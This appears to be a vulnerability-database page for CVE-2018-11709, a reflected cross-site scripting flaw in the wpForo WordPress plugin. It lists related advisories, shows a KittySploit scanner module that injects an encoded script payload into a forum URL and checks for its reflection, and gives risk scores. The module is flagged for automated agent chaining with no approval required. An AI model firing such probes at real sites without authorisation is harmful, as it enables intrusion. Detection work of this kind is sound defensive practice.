WordPress wpForo Forum <= 1.4.11 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| wpForo Forum Cross-Site Scripting Vulnerability | 5 Jun 201800:00 | – | cnvd | |
| CVE-2018-11709 | 4 Jun 201813:00 | – | cve | |
| CVE-2018-11709 | 4 Jun 201813:00 | – | cvelist | |
| EUVD-2018-3728 | 7 Oct 202500:30 | – | euvd | |
| WordPress wpForo Forum <= 1.4.11 - Cross-Site Scripting | 17 Oct 202602:05 | – | nuclei | |
| CVE-2018-11709 | 4 Jun 201813:29 | – | nvd | |
| CVE-2018-11709 | 4 Jun 201813:29 | – | osv_cve | |
| WordPress wpForo Forum plugin <= 1.4.11 - Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability | 20 Jun 201800:00 | – | patchstack | |
| Cross site scripting | 4 Jun 201813:29 | – | prion | |
| PT-2018-10767 | 4 Jun 201800:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress wpForo Forum plugin before 1."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress wpForo Forum <= 1.4.11 - Cross-Site Scripting Detection',
'description': 'WordPress wpForo Forum plugin before 1.4.12 for WordPress allows unauthenticated reflected cross-site scripting via the URI.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2018', 'wordpress', 'xss', 'wp-plugin', 'gvectors', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2018-11709',
'https://wordpress.org/plugins/wpforo/#developers',
'https://wpvulndb.com/vulnerabilities/9090',
'https://blog.dewhurstsecurity.com/2018/06/01/wp-foro-wordpress-plugin-xss-vulnerability.html',
'https://github.com/ARPSyndicate/cvemon',
],
'cve': 'CVE-2018-11709',
}
def run(self):
r = self.http_request(method="GET", path='/index.php/community/?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = (r.text or "").lower()
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items()).lower()
body_any = ('</script><script>alert(document.domain)</script>', 'wpforo',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason="WordPress wpForo Forum <= 1.4.11 - Cross-Site Scripting detected",
path='/index.php/community/?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E',
)
return True
return False
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28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
CVSS 36.1
EPSS0.03545